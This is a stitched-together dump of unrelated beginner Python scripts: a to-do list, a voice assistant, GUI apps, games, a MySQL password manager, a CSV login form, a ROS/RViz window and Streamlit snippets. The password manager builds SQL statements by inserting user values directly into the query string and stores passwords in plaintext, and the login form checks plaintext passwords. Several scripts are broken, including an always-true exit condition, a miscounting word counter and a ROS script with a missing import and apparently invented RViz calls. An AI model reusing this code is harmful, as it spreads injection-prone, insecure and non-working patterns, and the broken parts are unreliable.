            return task_list
        except Exception:
            raise TaskNotFoundError("There are no tasks in the list.")

if __name__ == "__main__":
    app = ToDo()
    while True:
        print("-------------------------------")
        print()
        print("1. Add task")
        print("2. View tasks")
        print("3. delete task")
        print("4. update task")
        print("5. finish task")
        print("6. exit app")
        print()
        print("-------------------------------")

        choice = int(input("Enter your choice: "))
        if choice == 1:
            task = input("Enter task: ")
            deadline = input("Enter task deadline: ")
            try:
                message = app.add_task(task, deadline)
                print(message)
            except TypeError as e:
                print(e)
            except ValueError as e:
                print(e)
            except TaskAlreadyExistsError as e:
                print(e)
        elif choice == 2:
            try:
                print("-------------------------------")
                task_list = app.view_tasks()
                for task in task_list:
                    print(task)
                print("-------------------------------")
            except TaskNotFoundError as e:
                print(e)
        elif choice == 3:
            try:
                task = input("Enter the task you want to remove: ")
                message = app.remove_task(task)
                print(message)
            except TypeError as e:
                print(e)
            except TaskNotFoundError as e:
                print(e)
        elif choice == 4:
            try:
                task = input("Enter the task you want to update: ")
                deadline = input("What is the new deadline? ")
                message = app.update_task(task,deadline)
                print(message)
            except TypeError as e:
                print(e)
            except TaskNotFoundError as e:
                print(e)
        elif choice == 5:
            try:
                task = input("Enter the task you have finised: ")
                message = app.finish_task(task)
                print(message)
            except TypeError as e:
                print(e)
            except TaskNotFoundError as e:
                print(e)
        elif choice == 6:
            print("Thanks for using")
            break
        else:
            print("Invalid choice!")
import webbrowser
import os
import speech_recognition as sr
import pyttsx3


class Doraemon:
    """This is a simple speech command bot. It is made with few functions and elif ladder. It can take speech input.
    It will perform two categories of tasks:
        1. searching through the web.
        2. opening some apps. Both on voice command. It will also reply to user by talking.
    It has four major methods:
        1. __init__: which is an empty constructor
        2. speak: that speaks the text input and also prints it on the console.
        3. takeCommand: It listens with the default microphone of the system and returns the spoken text
        4. run_bot: This is the interface user will get in the instance of this class. It has an infinite while loop to take commands and execute them until the user asks to stop.
    Libraries used:
        webbrowser: to browse through web
        os: to open applications
        speech_recognition: to take voice commands
        pyttsx3: to give voice outputs
    """
    def __init__(self):
        pass

    def speak(self, text:str) -> None:
        engine = pyttsx3.init()
        print(text)
        engine.say(text)
        engine.runAndWait()
        return None
    
    def takeCommand(self) -> str:
        r = sr.Recognizer()
        with sr.Microphone() as source:
            print("Listening...")
            r.pause_threshold = 1
            audio = r.listen(source)
        try:
            print("Recognizing...")    
            query = r.recognize_google(audio, language='en-in')
            return query

        except Exception:
            print("Say that again please...")
            return ""
    
    def open_youtube(self) -> None:
        self.speak("What should I search for? ")
        cm = input()
        self.speak(f"Searching in youtube {cm}")
        webbrowser.open(f"https://www.youtube.com/results?search_query={cm}")

    def open_google(self) -> None:
        self.speak("What should I search for? ")
        cm = input()
        self.speak(f"Searching in google {cm}")
        webbrowser.open(f"https://www.google.com/search?q={cm}")

    def open_notepad(self) -> None:
        self.speak("Opening Notepad")
        os.system("C:\\Windows\\notepad.exe")

    def open_vs_code(self) -> None:
        self.speak("Opening VS Code")
        os.startfile("C:\\Microsoft VS Code2\\Code.exe")

    def run_bot(self) -> None:
        self.speak("How can i help you buddy?")
        while True:
            instruction = self.takeCommand().lower()
            if instruction == "":
                continue
            elif "youtube" in instruction:
                self.open_youtube()

            elif "google" in instruction:
                self.open_google()

            elif "notepad" in instruction:
                self.open_notepad()

            elif "vs code" in instruction:
                self.open_vs_code()

            elif "quit" or "exit" in instruction:
                self.speak("Ok bye bye have a great time")
                break

            elif "thanks" in instruction:
                self.speak("NO thanks in friendship")
                
            else:
                self.speak("Invalid request")

my_buddy = Doraemon()
my_buddy.run_bot()
# Importing necessary classes from PyQt5 library
from PyQt5.QtWidgets import *
from PyQt5.QtCore import *
from PyQt5.QtGui import QIcon
from PyQt5.QtWebEngineWidgets import *

class MyWebBrowser(): # Creating a class for the web browser
    """
    A simple web browser application using PyQt5.
    """
    def __init__(self):
        """
        Initialize the web browser.
        """
        self.window = QWidget() # Creating a QWidget instance
        self.window.setWindowTitle("My Web Browser") # Setting the window title

        # main layout: holds browser and horizontal layout
        self.layout = QVBoxLayout()
        # holds the buttons and url bar
        self.horizontal = QHBoxLayout()

        self.url_bar = QLineEdit()
        self.url_bar.setMaximumHeight(30)

        self.go_btn = QPushButton("Go")
        self.go_btn.setMinimumHeight(30)

        # to load a page when enter is pressed in the url bar
        self.url_bar.returnPressed.connect(self.go_btn.click)  # Connect the returnPressed signal to the go_btn click slot

        self.back_btn = QPushButton("<")
        self.back_btn.setMinimumHeight(30)

        self.forward_btn = QPushButton(">")
        self.forward_btn.setMinimumHeight(30)

        self.reload_btn = QPushButton()
        self.reload_btn.setIcon(QIcon('images/reload.png'))  # Set the icon using the image file path
        self.reload_btn.setMinimumHeight(30)

        # Adding the widgets to the horizontal layout
        self.horizontal.addWidget(self.reload_btn)
        self.horizontal.addWidget(self.url_bar)
        self.horizontal.addWidget(self.go_btn)
        self.horizontal.addWidget(self.back_btn)
        self.horizontal.addWidget(self.forward_btn)

        self.browser = QWebEngineView()

        # connecting buttons
        self.go_btn.clicked.connect(lambda: self.navigate(self.url_bar.text()))
        self.back_btn.clicked.connect(self.go_back)
        self.forward_btn.clicked.connect(self.go_forward)
        self.reload_btn.clicked.connect(self.browser.reload)

        self.layout.addLayout(self.horizontal)  # Adding the horizontal layout to the main layout
        self.layout.addWidget(self.browser) # Adding the browser to the main layout

        self.browser.setUrl(QUrl("https://google.com")) # Setting the initial URL for the browser

        self.window.setLayout(self.layout) # Setting the main layout for the window

        self.window.show()


    def navigate(self, url):
        """
        Navigate to the specified URL.

        Args:
            url (str): The URL to navigate to.
        """
        if not url.startswith("http"): # Checking if the URL does not start with "http"
            url = "https://" + url # Prepending "https://" to the URL
            self.url_bar.setText(url)  # Updating the URL bar text with the modified URL
        self.browser.setUrl(QUrl(url))  # Navigating the browser to the specified URL

    def go_back(self):
        """
        Go back to the previous page.
        """
        self.url_bar.setText("") 
        self.browser.back()

    def go_forward(self):
        """
        Go forward to the next page.
        """
        self.url_bar.setText("") 
        self.browser.forward()
    

app = QApplication([]) # Creating a QApplication instance
window = MyWebBrowser() # Creating an instance of the MyWebBrowser class
app.exec_() # Starting the application event loop
from customtkinter import *
from PIL import Image

class adventure_game(CTk):
    def __init__(self):
        super().__init__()

        self.images = [CTkImage(light_image=Image.open("Timages\\two roads.jpg"), size=(364,456)),
                       CTkImage(light_image=Image.open("Timages\\island.jpg"),size=(402,226)),
                       CTkImage(light_image=Image.open("Timages\\hole.jpg"),size=(595,396)),
                       CTkImage(light_image=Image.open("Timages\\Three doors.png"),size=(420,306)),
                       CTkImage(light_image=Image.open("Timages\\shark.jpg"),size=(400,266)),
                       CTkImage(light_image=Image.open("Timages\\fire.jpg"),size=(589,396)),
                       CTkImage(light_image=Image.open("Timages\\wolves.jpg"),size=(600,400)),
                    ]

        self.first_label = CTkLabel(self, text="You're at a cross road. Where do you want to go? Type \"left\" or \"right\"", font=("Arial", 16))
        self.first_label.pack()
        self.first_image = CTkLabel(self, image=self.images[0], text="")
        self.first_image.pack()

        self.choice1 = CTkEntry(self)
        self.choice1.pack()

        self.confirm = CTkButton(self, text="Confirm", command=self.choice_one)
        self.confirm.pack()

    def choice_one(self):
        ch1 = self.choice1.get()
        # Clear the app window
        for widget in self.winfo_children():
            widget.destroy()
        if ch1 == "left":
            self.second_label = CTkLabel(self, text="You've come to a lake. There is an island in the middle of the lake. Type \"wait\" to wait for a boat. Type \"swim\" to swim across.", font=("Arial", 16))
            self.second_label.pack()
            self.second_image = CTkLabel(self, image=self.images[1], text="")
            self.second_image.pack()

            self.choice2 = CTkEntry(self)
            self.choice2.pack()

            self.confirm = CTkButton(self, text="Confirm",command=self.choice_two)
            self.confirm.pack()
        else:
            self.second_label = CTkLabel(self, text="You fell into a hole. Game Over.", font=("Arial", 16))
            self.second_label.pack()
            self.second_image = CTkLabel(self, image=self.images[2], text="")
            self.second_image.pack()

            # exit button
            self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
            self.qb.pack()

    def choice_two(self):
        ch2 = self.choice2.get()
        # Clear the app window
        for widget in self.winfo_children():
            widget.destroy()
        if ch2 == "wait":
            self.third_label = CTkLabel(self, text="You arrive at the island unharmed. There is a house with 3 doors. One red, one yellow and one blue. Which colour do you choose?", font=("Arial", 16))
            self.third_label.pack()
            self.third_image = CTkLabel(self, image=self.images[3], text="")
            self.third_image.pack()

            self.choice3 = CTkEntry(self)
            self.choice3.pack()

            self.confirm = CTkButton(self, text="Confirm",command=self.choice_three)
            self.confirm.pack()
        else:
            self.third_label = CTkLabel(self, text="You get attacked by an angry trout. Game Over.", font=("Arial", 16))
            self.third_label.pack()
            self.third_image = CTkLabel(self, image=self.images[4], text="")
            self.third_image.pack()

            # exit button
            self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
            self.qb.pack()

    def choice_three(self):
        ch3 = self.choice3.get()
        # Clear the app window
        for widget in self.winfo_children():
            widget.destroy()

        if ch3=="yellow":
            self.fourth_label = CTkLabel(self, text="You win\nHere's the treasure:-\nIt's a comic website.\n-----------Happy Reading-----------")
            self.fourth_label.pack()
            import antigravity
            from time import sleep
            sleep(1)
            self.quit()

        elif ch3 == "red":
            self.fourth_label = CTkLabel(self, text="It's a room full of fire. Game Over.", font=("Arial", 16))
            self.fourth_label.pack()
            self.fourth_image = CTkLabel(self, image=self.images[5], text="")
            self.fourth_image.pack()

            # exit button
            self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
            self.qb.pack()

        elif ch3 == "blue":
            self.fourth_label = CTkLabel(self, text="You enter a room of beasts. Game Over.", font=("Arial", 16))
            self.fourth_label.pack()
            self.fourth_image = CTkLabel(self, image=self.images[6], text="")
            self.fourth_image.pack()

            # exit button
            self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
            self.qb.pack()
            
        else:
            self.fourth_label = CTkLabel(self, text="Game Over.", font=("Arial", 16))
            self.fourth_label.pack()
            # exit button
            self.qb = CTkButton(self, text="Exit", fg_color="red", hover_color="pink", text_color="white", command=self.quit)
            self.qb.pack()


app = adventure_game()
app.mainloop()
def WordCounter(text:str) -> int:
    # getting sentences
    lines = text.split("\n")

    words = []
    for line in lines:
        # words from sentences
        print(line)
        for word in line.split(" "):
            words.append(word)
    return len(words)

# taking multiline input
lines = []
print("Please Enter your text: ")
while True:
    line = input()
    if not line:
        break
    lines.append(line)

# providing the string of input to the WordCounter function
words = WordCounter(str(lines))
print(f'Your text has {words} words.')
import mysql.connector
from customtkinter import *

class DatabaseMediator:
    """Handles the connection and interaction with the MySQL database."""
    def __init__(self, host, user, password, database, table_name,*columns):
        """
        Initializes the DatabaseMediator object.
        
        Args:
            host (str): The MySQL server host.
            user (str): The username for the database connection.
            password (str): The password for the database connection.
            database (str): The name of the database.
            table_name (str): The name of the table storing the passwords.
            *columns (str): Variable-length argument list of column names in the table.
        """
        self.host = host
        self.user = user
        self.password = password
        self.database = database
        self.table_name = table_name
        self.columns = columns
        self.mydb = mysql.connector.connect(
        host=self.host,
        user=self.user,
        password=self.password,
        database=self.database
        )
        self.mycursor = self.mydb.cursor()

    def insert_data(self, *args):
        """
        Inserts data into the MySQL table.
        
        Args:
            *args: Variable-length argument list of values to be inserted.
        """
        self.mycursor.execute(f"INSERT INTO {self.table_name} ({', '.join(list(self.columns))}) VALUES {args}")
        self.mydb.commit()
        
    def retrieve_data(self):
        """
        Retrieves all data from the MySQL table.
        
        Returns:
            list: A list of tuples representing the retrieved data.
        """
        self.mycursor.execute(f"SELECT * FROM {self.table_name}")
        myresult = self.mycursor.fetchall()
        return myresult

class PasswordManager(CTk):
    """The main GUI class for the Password Manager application."""
    def __init__(self):
        """Initializes the PasswordManager GUI."""
        super().__init__()
        self.title("Password Manager")
		#change the host, username, and password to yours
        self.database_connection = DatabaseMediator("HOST", "USERNAME", "PASSWORD", "password_manager", "passwords", "account_name", "account_id", "account_password")
        
        self.frame = CTkFrame(self)
        self.frame.grid(row=0, columnspan=2, padx=10, pady=10)

        self.account_name = CTkEntry(self.frame, placeholder_text="Account name")
        self.account_name.pack(padx=10, pady=10)
        
        self.account_id = CTkEntry(self.frame, placeholder_text="Enter your user ID here")
        self.account_id.pack(padx=10, pady=10)

        self.account_password = CTkEntry(self.frame, placeholder_text="Enter your Password")
        self.account_password.pack(padx=10, pady=10)

        self.save_password = CTkButton(self, text="Save Password", command=self.save)
        self.save_password.grid(row=1, column=0, padx=10, pady=10)

        self.view_password = CTkButton(self, text="View Passwords", command=self.view)
        self.view_password.grid(row=1, column=1, padx=10, pady=10)

    def save(self):
        """Saves the password to the database."""
        acc_nm = self.account_name.get()
        acc_id = self.account_id.get()
        acc_password = self.account_password.get()
        self.database_connection.insert_data(acc_nm, acc_id, acc_password)
        label = CTkLabel(self, text="Passwords Saved successfully...")
        label.grid(row=2, columnspan=2, padx=10, pady=10)

    def view(self):
        """Retrieves and displays all passwords from the database."""
        passwords = self.database_connection.retrieve_data()
        result = ""
        for i in range(len(passwords)):
            result += f"\n{i+1}. {passwords[i]}"
        result_frame = CTkFrame(self)
        result_frame.grid(row=3, columnspan=2, padx=10, pady=10)
        res_label = CTkLabel(result_frame, text=result)
        res_label.pack()


app = PasswordManager()
app.mainloop()
import random
from os import system

# Word categories
categories = {
    "Coding": ["Python", "Variable", "Function", "Loop", "Algorithm", "Debugging", "Syntax", "Class", "Recursion", "Library"],
    "Gaming": ["Console", "Controller", "Quest", "Level", "Avatar", "Powerup", "Multiplayer", "Strategy", "Virtual", "Adventure"],
    "Movies": ["Action", "Comedy", "Thriller", "Drama", "Romance", "SciFi", "Fantasy", "Horror", "Animation", "Mystery"],
    "Travel": ["Beach", "Adventure", "Culture", "Explore", "Passport", "Destination", "Backpack", "Journey", "Sightseeing", "Vacation"]
}

# Get player name
player = input("Enter your name: ")

print()
print(f"\t\t\tWelcome to this word guessing game {player}.")
print("\t\t\tYou will get 10 chances to guess the word.")
print(f"\t\t\t\t\t\tAll The Best {player}")
print("\n\n")

# Print available categories
for i in categories.keys():
    print(f"{i}")

# Select category
category = input("Select category: ").title()
if category not in categories:
    print("Invalid category!")
    exit()

# Select a random word from the chosen category
word = random.choice(categories[category])

# Initialize guessed and wrong variables
guessed = len(word) * '_'
wrong = ""
chances = 10  # Total number of guesses

# Clear the console screen
system('cls')

# Display initial word with underscores
for i in word:
    print("_", end=" ")
print()
# Main game loop
while chances > 0:
    word = word.lower()
    guessed = guessed.lower()

    # Check if the player has guessed all the characters correctly
    if sorted(guessed) == sorted(word):
        print(f"Congrats {player}, you win!!")
        print(f"The correct word was, {word}")
        break

    # Ask the player to enter a character
    guess = input("Enter a character: ").lower()

    # Check if the guessed character is correct
    if guess in word:
        for i in range(len(word)):
            if word[i] == guess:
                tempg = list(guessed)
                tempg.pop(i)
                tempg.insert(i, guess)
                guessed = ''.join([elem for elem in tempg])
        
        # Display the current progress
        for i in range(len(word)):
            if word[i] == guessed[i]:
                print(word[i], end=" ")
            else:
                print("_", end=" ")
        
        print("\nYou are correct!!\n\n")
   
    # If the guessed character is incorrect
    elif guess not in word:
        wrong += guess
        print("\nYou are wrong!!\n\n")
        print(f"Chances left = {chances}")
        chances -= 1
        
# Player has used all the chances
if chances == 0:
    print(f"Alas {player}, You Lose!")
    print("Better luck next time...")
    print(f"The correct word was, {word}")
    print("Thanks for Playing, Have a nice day!")
from customtkinter import *
import pandas as pd

class LoginFrame(CTkFrame):
    """
    A frame for login functionality.
    """
    def __init__(self, master, **kwargs):
        super().__init__(master, **kwargs)
        """
        Initialize the LoginFrame.

        Args:
            master: The parent widget.
            kwargs: Additional keyword arguments for the frame.
        """
        # Create and grid the login label
        self.log = CTkLabel(self, text="LOG IN", text_color="#ffe9a6", font=("Verdana",20))
        self.log.grid(row=0, column=0,padx=10, pady=10)

        # Create and grid the username entry field
        self.user = CTkEntry(self, placeholder_text="Username", text_color="white", fg_color="#030126", border_color="#030126")
        self.user.grid(row=1, column=0,padx=10, pady=10)

        # Create and grid the password entry field
        self.password = CTkEntry(self, placeholder_text="Password", show="*", text_color="white", fg_color="#030126", border_color="#030126")
        self.password.grid(row=2, column=0,padx=10, pady=10)

        # Create and grid the submit button
        self.submit = CTkButton(self, text="Submit", fg_color="#fccc3d", text_color="#2e3140", hover=False, command=self.check, font=("arial",14))
        self.submit.grid(row=3, column=0,padx=10, pady=10)

    def check(self):
        """
        Check if the entered username and password are valid.
        """

        user = self.user.get()
        if self.find_user(user):
            passw = self.password.get()
            if self.match_password(user, passw):
                # Clear the app window and show success message
                for widget in app.winfo_children():
                    widget.destroy()
                label = CTkLabel(app, text="Successfully Logged In!!")
                label.grid(row=1, column=1, padx=10, pady=10)
            else:
                # Show invalid password message
                label = CTkLabel(app, text="Invalid Password")
                label.grid(row=1, column=1, padx=10, pady=10)
        else:
            # Show invalid username message
            label = CTkLabel(app, text="Invalid Username")
            label.grid(row=1, column=1, padx=10, pady=10)

    def find_user(self, username:str) -> bool:
        """
        Find if a user with the given username exists.

        Args:
            username: The username to search for.

        Returns:
            bool: True if the username exists, False otherwise.
        """
        df = pd.read_csv("users.csv")
        for i in range(len(df)):
            cuser = list(df.loc[i])[0]
            if username ==cuser:
                return True
        else:
            return False
        
    def match_password(self, username:str, password:str) -> bool:
        """
        Check if the given password matches the username.

        Args:
            username: The username to check.
            password: The password to match.

        Returns:
            bool: True if the password matches, False otherwise.
        """
        df = pd.read_csv("users.csv")
        for i in range(len(df)):
            cuser = list(df.loc[i])[0]
            passw = list(df.loc[i])[1]
            if username ==cuser:
                if password == passw:
                    return True
                return False


app = CTk()

frame = LoginFrame(master=app)
frame.grid(row=0, column=1,padx=10, pady=10)

app.mainloop()
#A YouTube Video Downloader GUI In Python
from customtkinter import *
from pytube import YouTube

def Download():
    """
    Function to download YouTube videos based on the provided link.
    """
    link = inp_link.get()
    try:
        # making object of the YouTube class from pytube
        youtubeObject = YouTube(link)
        # setting resolution to best
        youtubeObject = youtubeObject.streams.get_highest_resolution()
        # downloading the video
        youtubeObject.download()
        # clearing input widget after the download is successful
        inp_link.delete(0, 'end')
        # providing successfully downloaded message to the user provinding the location of video
        label = CTkLabel(app, text="The video's Download is completed successfully. You can check it in the same directory.")
        label.grid(row=2, column=0, columnspan=2)

    except Exception as e:
        # displaying errors if any
        label = CTkLabel(app, text=e)
        label.grid(row=2, column=0, columnspan=2)
    
# creating a GUI window
app = CTk()
# getting the link
inp_link = CTkEntry(app, placeholder_text="Enter your link here: ")
inp_link.grid(row=0, column=0, columnspan=2, padx=10, pady=10)
# button to download the video at the given link
download = CTkButton(app, text="Download", command=Download)
download.grid(row=1, column=0, columnspan=2, padx=10, pady=10)
app.mainloop()
from customtkinter import *
from tkinter.filedialog import askopenfilename, asksaveasfilename

class Notepad(CTk):
    def __init__(self):
        """Initialize the Notepad application."""
        super().__init__()
        self.title("Notepad")
        self.iconbitmap("images/notepad.ico")
        self.geometry("600x600")
        self.configure(padx=10, pady=10)

        # file path
        self.file = None

         # Create a Frame for the menu and textarea
        self.frame = CTkFrame(self)
        self.frame.pack(fill="both", expand=True, padx=10, pady=10)

        # file menu
        self.File_var = StringVar(value="File")
        self.filemenu = CTkOptionMenu(self.frame,values=["File", "New", "Open", "Save"],
                                         command=self.file_menu_callback,
                                         variable=self.File_var,button_color="black", fg_color="black")
        
        self.filemenu.grid(row=0, column=0, padx=10, pady=10, sticky="w")

        # Textbox to get text
        self.textarea = CTkTextbox(self.frame, font=("Consolas", 11))
        self.textarea.grid(row=1,column=0,columnspan=2, padx=10, pady=10, sticky="nsew")
        # create CTk scrollbar
        # It only appears in full screen mode
        ctk_textbox_scrollbar = CTkScrollbar(self.frame, command=self.textarea.yview)
        ctk_textbox_scrollbar.grid(row=1,column=1, sticky="ns")

        # connect textbox scroll event to CTk scrollbar
        self.textarea.configure(yscrollcommand=ctk_textbox_scrollbar.set)


        # Bind the <Configure> event to the resize_textarea function
        self.bind("<Configure>", self.resize_textarea)

    # event is needed to bind it to resize event
    def resize_textarea(self, event):
        """Adjust the size of the textarea based on the available space."""
        # Calculate the new width and height for the textarea based on the available space
        available_width = self.winfo_width() - 40  # Subtract the padding
        available_height = self.winfo_height() - 40  # Subtract the padding

        # Update the width and height of the textarea
        self.textarea.configure(width=available_width, height=available_height)

    def file_menu_callback(self,choice):
        """Handle the file menu commands."""
        if choice=='New':
            self.new()
        elif choice=='Open':
            self.open()
        elif choice=='Save':
            self.save()

    def new(self):
        """Create a new file."""
        self.file = None
        self.title("Notepad")
        self.textarea.focus_set()
        self.textarea.delete("0.0", 'end')

    def open(self):
        """Open an existing file."""
        self.file = askopenfilename(defaultextension=".txt",
                           filetypes=[("All Files", "*.*"),
                                     ("Text Documents", "*.txt")])
        if self.file == "":
            self.file = None
        else:
            self.title(os.path.basename(self.file))
            self.textarea.delete("0.0", 'end')
            with open(self.file, 'r') as f:
                self.textarea.insert("0.0", f.read())

    def save(self):
        """Save the current file."""
        if self.file == None:
            self.file = asksaveasfilename(initialfile = 'Untitled.txt', defaultextension=".txt",
                           filetypes=[("All Files", "*.*"),
                                     ("Text Documents", "*.txt")])
            if self.file =="":
                self.file = None
            else:
                with open(self.file, 'w') as f:
                    f.write(self.textarea.get("0.0", "end"))



if __name__ == '__main__':
    app = Notepad()
    app.mainloop()
# Data
uang_jalan = 1500000
jumlah_hari = 31
list_plat_nomor = [8993, 2198, 2501, 2735, 3772, 4837, 9152]
# Pengecekan kendaraan dengan nomor pelat ganjil atau genap 
kendaraan_genap = 0
kendaraan_ganjil = 0 
for plat_nomor in list_plat_nomor:
    if plat_nomor % 2 == 0:
        kendaraan_genap += 1 
    else:
        kendaraan_ganjil += 1
# Total pengeluaran untuk kendaraan dengan nomor pelat ganjil
# dan genap dalam 1 bulan
i = 1
total_pengeluaran = 0
while i<= jumlah_hari:
    if i % 2 == 0:
        total_pengeluaran += (kendaraan_genap * uang_jalan) 
    else:
        total_pengeluaran += (kendaraan_ganjil * uang_jalan) 
    i += 1
# Cetak total pengeluaran
print(total_pengeluaran)
# Data
uang_jalan = 1500000
jumlah_hari = 31
list_plat_nomor = [8993, 2198, 2501, 2735, 3772, 4837, 9152]
# Pengecekan kendaraan dengan nomor pelat ganjil atau genap 
kendaraan_genap = 0
kendaraan_ganjil = 0 
for plat_nomor in list_plat_nomor:
    if plat_nomor % 2 == 0:
        kendaraan_genap += 1 
    else:
        kendaraan_ganjil += 1
# Total pengeluaran untuk kendaraan dengan nomor pelat ganjil
# dan genap dalam 1 bulan
i = 1
total_pengeluaran = 0
while i<= jumlah_hari:
    if i % 2 == 0:
        total_pengeluaran += (kendaraan_genap * uang_jalan) 
    else:
        total_pengeluaran += (kendaraan_ganjil * uang_jalan) 
    i += 1
# Cetak total pengeluaran
print(total_pengeluaran)
#!/usr/env/bin python3
import os
import rospy
import rospkg
from PyQt5.QtWidgets import QApplication, QMainWindow, QVBoxLayout, QPushButton, QWidget, QLabel
from PyQt5.QtUiTools import QUiLoader
from rviz_visual_tools import RvizVisualTools

class MainWindow(QMainWindow):
    def __init__(self):
        super(MainWindow, self).__init__()

        # Load the UI file
        ui_file = os.path.join(rospkg.RosPack().get_path('test_wst'), 'app.ui')
        self.load_ui(ui_file)

        # Connect buttons
        self.button1.clicked.connect(self.handle_button1)
        self.button2.clicked.connect(self.handle_button2)

        # Initialize RViz
        self.rviz = RvizVisualTools("world", "/rviz_visual_tools")

        # Add robot model to RViz
        self.rviz.load_robot()
        
        # Add RViz visualization to the UI
        self.rviz_widget = self.rviz.embed_into("rvizWidget")

    def load_ui(self, ui_file):
        loader = QUiLoader()
        ui_file = QFile(ui_file)
        ui_file.open(QFile.ReadOnly)
        self.window = loader.load(ui_file)
        ui_file.close()
        self.setCentralWidget(self.window.centralwidget)

        # Find UI elements
        self.button1 = self.window.centralwidget.findChild(QPushButton, "button1")
        self.button2 = self.window.centralwidget.findChild(QPushButton, "button2")
        self.rviz_widget = self.window.centralwidget.findChild(QWidget, "rvizWidget")

    def handle_button1(self):
        # Handle button 1 click
        print("Button 1 clicked")

    def handle_button2(self):
        # Handle button 2 click
        print("Button 2 clicked")

if __name__ == '__main__':
    # Initialize the ROS node
    rospy.init_node("rviz_example")

    # Initialize the Qt application
    app = QApplication([])
    window = MainWindow()
    window.show()

    # Start the Qt event loop
    app.exec_()
list_cash_flow = [
2500000, 5000000, -1000000, -2500000, 5000000, 10000000,
-5000000, 7500000, 10000000, -1500000, 25000000, -2500000
]
total_pengeluaran, total_pemasukan = 0, 0
for dana in list_cash_flow: 
    if dana > 0:
        total_pemasukan += dana 
    else:
        total_pengeluaran += dana
total_pengeluaran *= -1
print(total_pengeluaran) 
//ENU to body frame

[[cos(theta)*cos(psi), cos(theta)*sin(psi), -sin(theta)],
 [-sin(phi)*sin(theta)*cos(psi) + cos(phi)*sin(psi), sin(phi)*sin(theta)*sin(psi) + cos(phi)*cos(psi), sin(phi)*cos(theta)],
 [cos(phi)*sin(theta)*cos(psi) + sin(phi)*sin(psi), -cos(phi)*sin(theta)*sin(psi) + sin(phi)*cos(psi), cos(phi)*cos(theta)]]


//NED to body frame

[[cos(theta)*cos(psi), -cos(theta)*sin(psi), sin(theta)],
 [sin(phi)*sin(theta)*cos(psi) + cos(phi)*sin(psi), -sin(phi)*sin(theta)*sin(psi) + cos(phi)*cos(psi), -sin(phi)*cos(theta)],
 [-cos(phi)*sin(theta)*cos(psi) + sin(phi)*sin(psi), cos(phi)*sin(theta)*sin(psi) + sin(phi)*cos(psi), cos(phi)*cos(theta)]]
import numpy as np

def enu_to_body_frame(enu_vector, roll, pitch, yaw):
    # Construct the direction cosine matrix (DCM)
    c_roll = np.cos(roll)
    s_roll = np.sin(roll)
    c_pitch = np.cos(pitch)
    s_pitch = np.sin(pitch)
    c_yaw = np.cos(yaw)
    s_yaw = np.sin(yaw)

    dcm = np.array([
        [c_pitch * c_yaw, -c_roll * s_yaw + s_roll * s_pitch * c_yaw, s_roll * s_yaw + c_roll * s_pitch * c_yaw],
        [c_pitch * s_yaw, c_roll * c_yaw + s_roll * s_pitch * s_yaw, -s_roll * c_yaw + c_roll * s_pitch * s_yaw],
        [-s_pitch, s_roll * c_pitch, c_roll * c_pitch]
    ])

    # Transform the vector from ENU to body frame
    body_vector = np.dot(dcm, enu_vector)

    return body_vector

# Example usage
enu_vector = np.array([1.0, 0.0, 0.0])  # Vector in ENU frame
roll = 0.1  # Roll angle in radians
pitch = 0.2  # Pitch angle in radians
yaw = 0.3  # Yaw angle in radians

body_vector = enu_to_body_frame(enu_vector, roll, pitch, yaw)

print("Body frame vector:", body_vector)
# stores recent function calls
fibonacci_cache = {}


def fibonacci(n):
    # check if the input is an integer
    if type(n) != int:
        raise TypeError("The input must be an integer")

    # check if the input is a postive integer
    if (n < 1):
        raise ValueError("Input must be a positive integer")

    # if we have cached the value, then return it
    if n in fibonacci_cache:
        return fibonacci_cache[n]

    # compute the nth term
    if (n == 1):
        value = 1
    elif (n == 2):
        value = 1
    elif (n > 2):
        value = fibonacci(n - 1) + fibonacci(n - 2)

    # cache the value and return it
    fibonacci_cache[n] = value
    return value


for n in range(1, 101):
    print(f"{n}: {fibonacci(n)}")
from music21 import chord, interval

# Create a Chord object for C major
c_major_chord = chord.Chord("C4 E4 G4")

# Get the root note of the chord
root_note = c_major_chord.root()

# Get the chord tensions
tensions = []
for degree in [2, 4, 6]:
    tension_pitch = root_note.transpose(interval.GenericInterval(degree))
    tensions.append(tension_pitch.name)
print("Chord Tensions:", tensions)
st.dataframe(my_dataframe)
st.table(data.iloc[0:10])
st.json({'foo':'bar','fu':'ba'})
st.metric('My metric', 42, 2)
st.button('Click me')
st.data_editor('Edit data', data)
st.checkbox('I agree')
st.radio('Pick one', ['cats', 'dogs'])
st.selectbox('Pick one', ['cats', 'dogs'])
st.multiselect('Buy', ['milk', 'apples', 'potatoes'])
st.slider('Pick a number', 0, 100)
st.select_slider('Pick a size', ['S', 'M', 'L'])
st.text_input('First name')
st.number_input('Pick a number', 0, 10)
st.text_area('Text to translate')
st.date_input('Your birthday')
st.time_input('Meeting time')
st.file_uploader('Upload a CSV')
st.download_button('Download file', data)
st.camera_input("Take a picture")
st.color_picker('Pick a color')

# Use widgets' returned values in variables:
>>> for i in range(int(st.number_input('Num:'))):
>>>   foo()
>>> if st.sidebar.selectbox('I:',['f']) == 'f':
>>>   b()
>>> my_slider_val = st.slider('Quinn Mallory', 1, 88)
>>> st.write(slider_val)

# Disable widgets to remove interactivity:
>>> st.slider('Pick a number', 0, 100, disabled=True)
# E.g. Dataframe computation, storing downloaded data, etc.
>>> @st.cache_data
... def foo(bar):
...   # Do something expensive and return data
...   return data
# Executes foo
>>> d1 = foo(ref1)
# Does not execute foo
# Returns cached item by value, d1 == d2
>>> d2 = foo(ref1)
# Different arg, so function foo executes
>>> d3 = foo(ref2)
# Clear all cached entries for this function
>>> foo.clear()
# Clear values from *all* in-memory or on-disk cached functions
>>> st.cache_data.clear()
st.text('Fixed width text')
st.markdown('_Markdown_') # see *
st.latex(r''' e^{i\pi} + 1 = 0 ''')
st.write('Most objects') # df, err, func, keras!
st.write(['st', 'is <', 3]) # see *
st.title('My title')
st.header('My header')
st.subheader('My sub')
st.code('for i in range(8): foo()')
* optional kwarg unsafe_allow_html = True
pip uninstall streamlit
pip install streamlit-nightly --upgrade
pip uninstall streamlit
pip install streamlit-nightly --upgrade
streamlit --help
streamlit run your_script.py
streamlit hello
streamlit config show
streamlit cache clear
streamlit docs
streamlit --version
streamlit run first_app.py

# Import convention
>>> import streamlit as st
from datetime import datetime
from dateutil.relativedelta import relativedelta
    
date_after_month = datetime.today()+ relativedelta(months=1)
